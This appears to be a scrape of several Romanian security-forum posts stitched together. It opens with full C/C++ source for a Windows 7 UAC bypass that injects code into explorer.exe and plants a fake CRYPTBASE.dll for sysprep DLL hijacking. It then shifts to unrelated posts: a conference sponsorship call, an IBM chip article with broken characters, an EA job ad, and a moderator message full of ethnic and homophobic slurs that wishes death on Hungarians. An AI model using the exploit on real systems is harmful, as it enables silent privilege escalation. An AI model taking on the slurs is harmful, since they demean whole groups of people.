(!AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &SecurityIdentifier)) return 0; BOOL IsAdminMember; if (!CheckTokenMembership(NULL, SecurityIdentifier, &IsAdminMember)) IsAdminMember = FALSE; FreeSid(SecurityIdentifier); return IsAdminMember; } */ // WARNING: This code leaves crytpbase.dll in sysprep directory! // This is cleaned up and heavily modified code from originally http://www.pretentiousname.com/misc/win7_uac_whitelist2.html (Win7Elevate_Inject) #define _HAS_EXCEPTIONS 0 #include <windows.h> #include <commctrl.h> #include <shlobj.h> #include <psapi.h> struct InjectArgs { // Functions BOOL (WINAPI *FFreeLibrary)(HMODULE hLibModule); HMODULE (WINAPI *FLoadLibrary)(LPCWSTR lpLibFileName); FARPROC (WINAPI *FGetProcAddress)(HMODULE hModule, LPCSTR lpProcName); BOOL (WINAPI *FCloseHandle)(HANDLE); DWORD (WINAPI *FWaitForSingleObject)(HANDLE,DWORD); // Static strings wchar_t szSourceDll[MAX_PATH]; wchar_t szElevDir[MAX_PATH]; wchar_t szElevDll[MAX_PATH]; wchar_t szElevDllFull[MAX_PATH]; wchar_t szElevExeFull[MAX_PATH]; wchar_t szElevArgs[MAX_PATH]; wchar_t szEIFOMoniker[MAX_PATH]; // szElevatedIFileOperationMoniker // some GUIDs IID pIID_EIFO; IID pIID_ShellItem2; IID pIID_Unknown; // Dll and import strings wchar_t NameShell32[20]; wchar_t NameOle32[20]; char NameCoInitialize[20]; char NameCoUninitialize[20]; char NameCoGetObject[20]; char NameCoCreateInstance[20]; char NameSHCreateItemFromParsingName[30]; char NameShellExecuteExW[20]; // IMPORTANT: Allocating structures here (so we know where it was allocated) SHELLEXECUTEINFO shinfo; BIND_OPTS3 bo; }; // important: error code here is passed back to original process (1 = success, 0 = failure) static DWORD WINAPI RemoteCodeFunc(InjectArgs * Args) { // don't rely on any static data here as this function is copied alone into remote process! (we assume at least that kernel32 is at same address) NTSTATUS Status = 0; // Use an elevated FileOperation object to copy a file to a protected folder. // If we're in a process that can do silent COM elevation then we can do this without any prompts. HMODULE ModuleOle32 = Args->FLoadLibrary(Args->NameOle32); HMODULE ModuleShell32 = Args->FLoadLibrary(Args->NameShell32); if (!ModuleOle32 || !ModuleShell32) return 0; // Load the non-Kernel32.dll functions that we need. HRESULT (WINAPI * FCoInitialize)(LPVOID pvReserved) = (HRESULT (WINAPI * )(LPVOID pvReserved))Args->FGetProcAddress(ModuleOle32, Args->NameCoInitialize); void (WINAPI * FCoUninitialize)(void) = (void (WINAPI * )(void))Args->FGetProcAddress(ModuleOle32, Args->NameCoUninitialize); HRESULT (WINAPI * FCoGetObject)(LPCWSTR pszName, BIND_OPTS *pBindOptions, REFIID riid, void **ppv) = (HRESULT (WINAPI * )(LPCWSTR pszName, BIND_OPTS *pBindOptions, REFIID riid, void **ppv))Args->FGetProcAddress(ModuleOle32, Args->NameCoGetObject); HRESULT (WINAPI * FCoCreateInstance)(REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, void ** ppv) = (HRESULT (WINAPI * )(REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, void ** ppv))Args->FGetProcAddress(ModuleOle32, Args->NameCoCreateInstance); HRESULT (WINAPI * FSHCreateItemFromParsingName)(PCWSTR pszPath, IBindCtx *pbc, REFIID riid, void **ppv) = (HRESULT (WINAPI * )(PCWSTR pszPath, IBindCtx *pbc, REFIID riid, void **ppv))Args->FGetProcAddress(ModuleShell32, Args->NameSHCreateItemFromParsingName); BOOL (WINAPI * FShellExecuteEx)(LPSHELLEXECUTEINFOW lpExecInfo) = (BOOL (WINAPI * )(LPSHELLEXECUTEINFOW lpExecInfo))Args->FGetProcAddress(ModuleShell32, Args->NameShellExecuteExW); if (!FCoInitialize || !FCoUninitialize || !FCoGetObject || !FCoCreateInstance || !FSHCreateItemFromParsingName || !FShellExecuteEx || FCoInitialize(NULL) != S_OK) return 0; Args->bo.cbStruct = sizeof(BIND_OPTS3); Args->bo.dwClassContext = CLSCTX_LOCAL_SERVER; // For testing other COM objects/methods, start here. IFileOperation *pFileOp = 0; IShellItem *pSHISource = 0; IShellItem *pSHIDestination = 0; IShellItem *pSHIDelete = 0; // This is a completely standard call to IFileOperation, if you ignore all the pArgs/func-pointer indirection. if (FCoGetObject(Args->szEIFOMoniker, &Args->bo, Args->pIID_EIFO, reinterpret_cast< void ** >(&pFileOp)) == S_OK && pFileOp && pFileOp->SetOperationFlags(FOF_NOCONFIRMATION|FOF_SILENT|FOFX_SHOWELEVATIONPROMPT|FOFX_NOCOPYHOOKS|FOFX_REQUIREELEVATION|FOF_NOERRORUI) == S_OK && // FOF_NOERRORUI is important here to not show error messages, copying fails on guest (takes wrong path) FSHCreateItemFromParsingName( Args->szSourceDll, NULL, Args->pIID_ShellItem2, reinterpret_cast< void ** >(&pSHISource)) == S_OK && pSHISource && FSHCreateItemFromParsingName( Args->szElevDir, NULL, Args->pIID_ShellItem2, reinterpret_cast< void ** >(&pSHIDestination)) == S_OK && pSHIDestination && pFileOp->CopyItem(pSHISource, pSHIDestination, Args->szElevDll, NULL) == S_OK && pFileOp->PerformOperations() == S_OK) { // Use ShellExecuteEx to launch the "part 2" target process. Again, a completely standard API call. // (Note: Don't use CreateProcess as it seems not to do the auto-elevation stuff.) Args->shinfo.cbSize = sizeof(SHELLEXECUTEINFO); Args->shinfo.fMask = SEE_MASK_NOCLOSEPROCESS; Args->shinfo.lpFile = Args->szElevExeFull; Args->shinfo.lpParameters = Args->szElevArgs; Args->shinfo.lpDirectory = Args->szElevDir; Args->shinfo.nShow = SW_SHOW; // update: we assume the cryptbase.dll deletes itself (no waiting for syspreps execution although it would be possible) if ((Status = FShellExecuteEx(&Args->shinfo))) { Args->FCloseHandle(Args->shinfo.hProcess); } } // clean-up if (pSHIDelete) { pSHIDelete->Release(); } if (pSHIDestination) { pSHIDestination->Release(); } if (pSHISource) { pSHISource->Release(); } if (pFileOp) { pFileOp->Release(); } FCoUninitialize(); Args->FFreeLibrary(ModuleShell32); Args->FFreeLibrary(ModuleOle32); return Status; } // returns 1 when you can expect everything worked fine! int AttemptOperation(bool bInject, HANDLE TargetProcess, const wchar_t *szPathToOurDll) { NTSTATUS Status = 0; const BYTE * codeStartAdr = (BYTE *)RemoteCodeFunc; const BYTE * codeEndAdr = (BYTE *)AttemptOperation; if (codeStartAdr >= codeEndAdr) // ensure we don't copy crap return 0; // Here we define the target process and DLL for "part 2." This is an auto/silent-elevating process which isn't // directly below System32 and which loads a DLL which is directly below System32 but isn't on the OS's "Known DLLs" list. // If we copy our own DLL with the same name to the exe's folder then the exe will load our DLL instead of the real one. // set up arguments InjectArgs ia; memset(&ia, 0, sizeof(ia)); ia.FFreeLibrary = FreeLibrary; ia.FLoadLibrary = LoadLibrary; ia.FGetProcAddress = GetProcAddress; ia.FCloseHandle = CloseHandle; ia.FWaitForSingleObject = WaitForSingleObject; wcscpy(ia.NameShell32, L"shell32.dll"); wcscpy(ia.NameOle32, L"ole32.dll"); strcpy(ia.NameCoInitialize, "CoInitialize"); strcpy(ia.NameCoUninitialize, "CoUninitialize"); strcpy(ia.NameCoGetObject, "CoGetObject"); strcpy(ia.NameCoCreateInstance, "CoCreateInstance"); strcpy(ia.NameSHCreateItemFromParsingName, "SHCreateItemFromParsingName"); strcpy(ia.NameShellExecuteExW, "ShellExecuteExW"); wchar_t SystemDirectory[MAX_PATH]; if (!GetSystemDirectory(SystemDirectory, MAX_PATH)) return 0; wcscpy(ia.szSourceDll, szPathToOurDll); wcscpy(ia.szElevDir, SystemDirectory); wcscat(ia.szElevDir, L"\\sysprep"); wcscpy(ia.szElevDll, L"CRYPTBASE.dll"); wcscpy(ia.szElevExeFull, SystemDirectory); wcscat(ia.szElevExeFull, L"\\sysprep\\sysprep.exe"); wcscpy(ia.szEIFOMoniker, L"Elevation:Administrator!new:{3ad05575-8857-4850-9277-11b85bdb8e09}"); memcpy(&ia.pIID_EIFO, &__uuidof(IFileOperation), sizeof(GUID)); memcpy(&ia.pIID_ShellItem2, &__uuidof(IShellItem2), sizeof(GUID)); memcpy(&ia.pIID_Unknown, &__uuidof(IUnknown), sizeof(GUID)); if (!bInject) { // Test code without remoting. // This should result in a UAC prompt, if UAC is on at all and we haven't been launched as admin. Status = RemoteCodeFunc(&ia); } else { // Test code with remoting. // At least as of RC1 build 7100, with the default OS settings, this will run the specified command // with elevation but without triggering a UAC prompt. void * RemoteArgs = VirtualAllocEx(TargetProcess, 0, sizeof(ia), MEM_COMMIT, PAGE_READWRITE); if (!RemoteArgs || !WriteProcessMemory(TargetProcess, RemoteArgs, &ia, sizeof(ia), NULL)) return 0; void * RemoteCode = VirtualAllocEx(TargetProcess, 0, codeEndAdr - codeStartAdr, MEM_COMMIT, PAGE_EXECUTE_READ); if (!RemoteCode || !WriteProcessMemory(TargetProcess, RemoteCode, RemoteCodeFunc, codeEndAdr - codeStartAdr, NULL)) return 0; HANDLE hRemoteThread = CreateRemoteThread(TargetProcess, NULL, 0, (LPTHREAD_START_ROUTINE)RemoteCode, RemoteArgs, 0, NULL); if (!hRemoteThread) return 0; // intelligent logit to wait for the execution and grabbing the exit code DWORD dwWaitRes = WaitForSingleObject(hRemoteThread, 40000); if (dwWaitRes == WAIT_OBJECT_0) GetExitCodeThread(hRemoteThread, (DWORD *)&Status); CloseHandle(hRemoteThread); } return Status; } int UACBypass() { // Step 1: find explorer.exe process we can inject to (to-do: maybe using some other process?) DWORD Processes[1024], BytesReturned; if (!EnumProcesses(Processes, sizeof(Processes), &BytesReturned)) return 0; HANDLE TargetProcess = NULL; for (unsigned i = 0; i < BytesReturned / 4; i++) { if (Processes != 0) { TargetProcess = OpenProcess(/*PROCESS_QUERY_INFORMATION | PROCESS_VM_READ*/PROCESS_ALL_ACCESS, FALSE, Processes); // Get the process name. if (TargetProcess) { HMODULE hMod; DWORD cbNeeded; if (EnumProcessModules(TargetProcess, &hMod, sizeof(hMod), &cbNeeded) ) { wchar_t ProcessName[MAX_PATH]; GetModuleBaseName(TargetProcess, hMod, ProcessName, sizeof(ProcessName)/sizeof(TCHAR) ); if (_wcsicmp(ProcessName, L"explorer.exe") == 0) break; } CloseHandle(TargetProcess); TargetProcess = NULL; } } } if (!TargetProcess) return 0; // Step 2: Creating fake cryptbase.dll that is this exe with the IMAGE_FILE_DLL flag set in PE header wchar_t SelfFileName[MAX_PATH]; if (!GetModuleFileNameW(NULL, SelfFileName, MAX_PATH)) { CloseHandle(TargetProcess); return 0; } wchar_t FakeCrytbase[MAX_PATH]; GetTempPathW(MAX_PATH, FakeCrytbase); GetTempFileNameW(FakeCrytbase, L"tmp", 0, FakeCrytbase); if (!CopyFile(SelfFileName, FakeCrytbase, 0)) { CloseHandle(TargetProcess); return 0; } HANDLE FakeFile = CreateFileW(FakeCrytbase, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (FakeFile == INVALID_HANDLE_VALUE) { CloseHandle(TargetProcess); return 0; } DWORD NumberOfBytesRead; BYTE ImageHeader[4096]; if (!ReadFile(FakeFile, ImageHeader, 4096, &NumberOfBytesRead, NULL)) { CloseHandle(TargetProcess); CloseHandle(FakeFile); return 0; } PIMAGE_DOS_HEADER dos_header = (PIMAGE_DOS_HEADER)ImageHeader; PIMAGE_NT_HEADERS old_header = (PIMAGE_NT_HEADERS)&((const unsigned char *)(ImageHeader))[dos_header->e_lfanew]; // set the dll flag (IMAGE_FILE_DLL) old_header->FileHeader.Characteristics |= IMAGE_FILE_DLL; DWORD NumberOfBytesWritten; if (SetFilePointer(FakeFile, 0, NULL, FILE_BEGIN) == INVALID_SET_FILE_POINTER || !WriteFile(FakeFile, ImageHeader, 4096, &NumberOfBytesWritten, NULL)) { CloseHandle(TargetProcess); CloseHandle(FakeFile); return 0; } CloseHandle(FakeFile); // Step 3: Using the exploit NTSTATUS Status = AttemptOperation(1, TargetProcess, FakeCrytbase); CloseHandle(TargetProcess); DeleteFile(FakeCrytbase); // exit if we can assume that the elevation worked correctly, and this executable was started with auto-elevated rights if (Status) ExitProcess(1); return 1; } Sursa: [C/C++] UAC Bypass - Source Codes - rohitab.com - Forums

OWASP Romania InfoSec Conference 2014 este o conferinta de o zi pe teme de securitate si hacking ce va avea loc pe 24 octombrie 2014 in Bucuresti. De ce sa sposorizez? Veti fi alaturi de 200+ leaderi, consultanti de securitate, arhitecti de securitate si programatori veniti sa schimbe idei despre initiative si noutatile tehnologice. Evenimentele OWASP atrag o audienta interesata de "What's next?" in securitatea IT - Sponsorul va fi promovat ca raspuns la aceasta intrebare. Cresterea gradului de constientizare si recunoasterea in comunitatea de securitate IT din Romania Sustineti si jucati un rol activ in lumea pasionatilor de securitate a informatiei. OWASP Romania InfoSec Conference 2014 is a one day security and hacking conference. It will take place on 24th of October, 2014 - Bucharest, Romania. Why sponsor? Join 200+ leaders, security consultants, security architects and developers gathered to share cutting-edge ideas, initiatives and trends in technology. OWASP events attract an audience interested in "What's next?" - As a sponsor, you will be promoted as an answer to this question. Increase awareness and recognition in the Romanian Security IT environment. Support and involvement in the world of information security enthusiasts.

Mugur Isarescu presedinte. Puie Monta!

Salut, Iti inteleg opiniile si sunt total de acord cu ele: ma pis pe tigani, unguri si homosexuali. DAR acesta este un forum de securitate IT. Aici discutam despre calculatoare. Poate si eu, de multe ori, vreau sa atrag atentia lumii asupra ciorilor, insa ma abtin pentru ca aici nu este locul potrivit pentru astfel de discutii. De asemenea, nu cred ca exista persoane in staff care sa agreeze aceste specimene. Cu totii ii uram, dar purtand niste discutii pe forum nu rezolvam nimic. Acest forum e pentru discutii legate de IT, atat. In alta ordine de idei, e ok sa deschizi 2-3 subiecte legate de aceste aspecte, insa nu prea le vad rostul aici. Lumea intra aici (sau cel putin asa ar trebui) sa vada ce mai e nou in domeniu, sa citeasca un tutorial sau sa urmareasca un videoclip. Sunt satul de cati tigani vad pe strada sau la TV, nu vreau sa vad si pe forum. Nu vreau sa vad si pe RST ca unguru' pulii vrea autonomie pentru ca imi creste pulsul dorindu-i moartea si nu face bine la sanatate. Concluzia e simpla: nu mai posta astfel de subiecte aici. Apoi, in legatura cu limbajul, e ok sa iti bagi pula in mortii si ranitii ungurilor si tiganilor, insa NU e ok sa faci acest lucru la adresa membrilor. Nu tinem cont de limbaj, dar nu toleram atacurile la persoana. Cu totii avem momente cand ne enervam, dar daca ne bagam pula intr-un moderator nu ne ajuta cu nimic, poate doar ne simtim 5 secunde mai bine. Noi te intelegem pe tine, sper sa ne intelegi si tu pe noi.

IBM SyNAPSE TrueNorth, creierul uman într-o pastil? de siliciu Dorian Prodan - 8 aug 201 Acum trei ani, IBM Research ?i universitatea Cornell au prezentat primul prototip al procesorului Systems of Neuromorphic Adaptive Plastic Scalable Electronics (SyNAPSE) ?i interesanta arhitectur? intern? a acestuia care imit? re?eaua neuronal? a creierului uman. Îmbun?t??it ?i eficientizat, procesorul SyNAPSE a evoluat, iar primul produs finit din aceast? gam? este preg?tit s? intre în produc?ie: TrueNorth.. Cercet?torii în domeniul inteligen?ei artificiale experimenteaz? de foarte mult? vreme cu solu?ii software din ce în ce mai avansate, îns? dezvoltatorii SyNAPSE consider? c? abordarea acestei dificile probleme cu ajutorul sistemelor de calcul obi?nuite este ineficient?. Dac? sistemele de calcul actuale ofer? capacit??i brute de procesare care dep??esc limitele creierului uman, acestea sunt îns? incapabile s? imite eficient fine?ea interconexiunilor neuronale care stau la baza gândirii independente ?i a con?tiin?ei. Acolo unde procesoarele actuale dau gre?, IBM Research ?i Cornell afirm? c? SyNAPSE str?luce?te. Noul procesor are 5,4 miliarde de tranzistori care sunt organiza?i în 4096 de nuclee, aceast? structur? fiind organizat? logic într-un milion de neuroni artificiali ?i 256 de milioane de sinapse. Fiecare dintre aceste nuclee are o capacitate de stocare de peste 100.000 de bi?i ?i un set de leg?turi sinaptice cu nucleele adiacente, ceea ce-i permite s? stocheze ?i s? proceseze informa?ii în acela?i spa?iu de memorie, s? ?in? minte neuronii de la care a primit sau c?tre care a trimis date ?i s? aprecieze puterea interconexiunilor, la fel ca un creier uman. Fiecare nucleu con?ine ?i hardware-ul necesar pentru adresarea unui neuron specific dintr-un alt nucleu, datele fiind generate în rafal? ?i fiind trimise prin re?eaua comun? sinaptic? din nod în nod pân? la destina?ie. Atunci când un nucleu nu are nimic de procesat, acesta se opre?te, iar acest mod de func?ionare asincron se reflect? ?i în eficien?a energetic? superioar?. Fabricat de c?tre Samsung într-un proces tehnologic pe 28 de nanometri, procesorul SyNAPSE TrueNorth func?ioneaz? la o frecven?? de numai 1 KHz ?i are un consum energetic infim de 70 mW. Aceste procesoare pot fi grupate la rândul lor în unit??i de procesare mai puternice, IBM afirmând c? saltul tehnologic este cople?itor: un sistem care poate fi ?inut în palm? ofer? puterea de procesare a unui rack întreg de sisteme de calcul tradi?ionale, iar testele energetice comparative au ar?tat c? SyNAPSE TrueNorth este de 176.000 de ori mai eficient decât un sistem de calcul standard ?i de 7000 de ori mai eficient decât un hardware specializat actual. Problema cea mai mare a noului procesor este oferta software s?rac? din acest moment. Implementarea hardware SyNAPSE a pornit de la fundamentul unei solu?ii software numit? Compass, iar toate aplica?iile Compass sunt compatibile cu TrueNorth. Pentru a pune în valoarea acest procesor în toate domeniile posibile, IBM ?i restul companiilor interesate vor trebui s? dezvolte solu?ii software mai complexe ?i mai variate. Compania crede îns? c? momentul în care vom vedea implement?ri cu sute de mii de nuclee, sute de milioane de neuroni ?i sute de miliarde de sinapse va sosi într-un viitor apropiat, iar acest lucru va revolu?iona întreaga industrie IT. Sursa: IBM SyNAPSE TrueNorth, creierul uman într-o pastil? de siliciu

Tepar. Topic inchis.

Ne-am lamurit. Esti tepar. Ban permanent.

Daca e cineva care doreste sa sustina o prezentare, ma poate contacta. Daca e cineva care poate gasi o sponsorizare, la firma care lucreaza de exemplu, il rog sa ma contacteze.

[h=4]Application Security Analyst[/h] Req. Number: 37027 Location Information: Bucharest, BUCHAREST, Romania We’re EA—the world’s largest video game publisher. You’re probably familiar with many of our titles—Madden, FIFA, The Sims, Need for Speed, Dead Space, Battlefield and Star Wars, to name a few. But maybe you don’t know how we’re committed to creating games for every platform—from social to mobile to console—to give our consumers that anytime, anywhere access they demand. What does that mean for you? It means more opportunities to unleash your creative genius, be inspired by those around you and ignite your path in any direction you choose. Application Security Specialist & Penetration Tester Summary: The Application Security Specialist and Penetration Tester is a member of the RedTeam within the Security and Risk Management (SRM) group, which provides security governance and support for EA’s business worldwide. We see the Application Security Specialist and Penetration Tester as a special breed of security consultant that tries to break into or find possible exploits in different computer systems and software. Some might call this position ethical hacker, what we’re looking for is a truly gifted, security minded hacker. You will be expected to find and exploit vulnerabilities in EA’s applications and infrastructure and fill out assessment reports to detail the findings. While you will often be running pre-determined types of tests based on industry standards, you will also be designing your own tests a large portion of the time, which requires creativity and imagination, along with a superb level of technical knowledge. With these tests and assessments, you'll be conducting regular security audits from both a logical/theoretical and a technical/hands-on standpoint. By identifying which flaws can be exploited to cause business risk, you will provide crucial insights into the most pressing issues and suggests how to prioritize security resources. The main focuses for this role are: To conduct dynamic application security analysis on a multitude of platforms: PC, web, mobile and consoles To exploit security flaws and vulnerabilities with attack simulations on multiple projects working against specific focused scopes of work To perform infrastructure security assessments (network and server side related security tasks) To advise and consult with EA staff in order to reduce risks To provide relevant metrics (improve existing and develop new ones) that allow the general business and SRM to understand risk as it pertains to the business and products Solve complex technical problems and articulate to non-IT personnel Perform, review and analyze security vulnerability data to identify applicability and false positives Research and develop testing tools, techniques, and process improvements Teach, learn and develop the skillset with the RedTeam In addition the successful candidate will: Have the ability to flow from black box to gray box to white box tests Work with product teams as well as core IT applications, infrastructure and operations to enhance the security of the corporation; communication and exposure to the management team will be required for this role Provide SRM with information necessary to improve security throughout the organization in SRM’s ongoing programs such as Security Awareness Enhance the existing library of development examples and materials to improve integrating security into the Software Development Life-Cycle (SDLC) Write guidelines and best practices from penetration test findings so teams can follow best practices on future development efforts Job required knowledge, skills and abilities: Relevant similar experience Very good understanding of OWASP Top 10 Experience with the inner workings and security aspects of variety of Application Servers, Web Servers, Media/Content Servers, Messaging Servers, Database Servers, and Integration Servers Excellent networking skills in multiple environments Experience with multiple Layer 7 intercepting proxies Knowledge of recognized security industry standards and best practices such as OWASP Testing Project, OSSTMM, PCI DSS, ISO 27000 set Good understanding of application development in multiple languages such as ASP.NET, Java, C/C++, and common scripting languages Excellent verbal, written, and interpersonal skills and professionalism in dealing with all levels of management and staff Additional, nice to have, skills and education: Bachelor’s degree in information technology related field An information security certification like CEH, ECSA, LPT, CCSP, CISSP, Security+ Experience with web application security assessment tools: HP Web Inspect, Qualys, Burp Suite Involved in security related Open Source projects and security groups Job Setting: The duties of this position will be performed at EA’s office in Bucharest. The candidate will be expected to work alone, around others, under minimal supervision and tight deadlines. Occasional travel will be required. *LI-ID1* It’s not easy building the world’s best digital playground. It’s hair-standing-on-end exhilarating. It’s down-in-the-trenches challenging. It’s stroke-of-brilliance-at-midnight creative. It’s you—taking risks, challenging yourself, pursuing ideas, changing the way millions of people do something they love: play. In an industry that’s changing every day, EA is positioned for growth thanks to smart business plans, strategic acquisitions, and most importantly, our creative people around the world who gather each day to unite the world through play. We take that last part very seriously, so if what you’re reading excites you as much as it does us, apply today. Pentru aplicare: http://careersearch.ea.com/ro/bucharest/it/jobid5649661-application-security-analyst-jobs Sau daca vreti sa ajung CV-ul direct pe unde trebuie, mi-l puteti da pe PM si il trimit eu mai departe.

Ok, acum se poate discuta altfel.

Lasati staff-ul. Lamuriti problema.

Basic Dynamic Analysis With Ida Pro And Windbg Description: In this video you will learn how to use IDA Pro and WinDBG for basic Dynamic Analysis. These tools are very powerful for reverse engineering process, Malware analysis, and finding the vulnerability. Source : - OpenSecurity Research Sursa: Basic Dynamic Analysis With Ida Pro And Windbg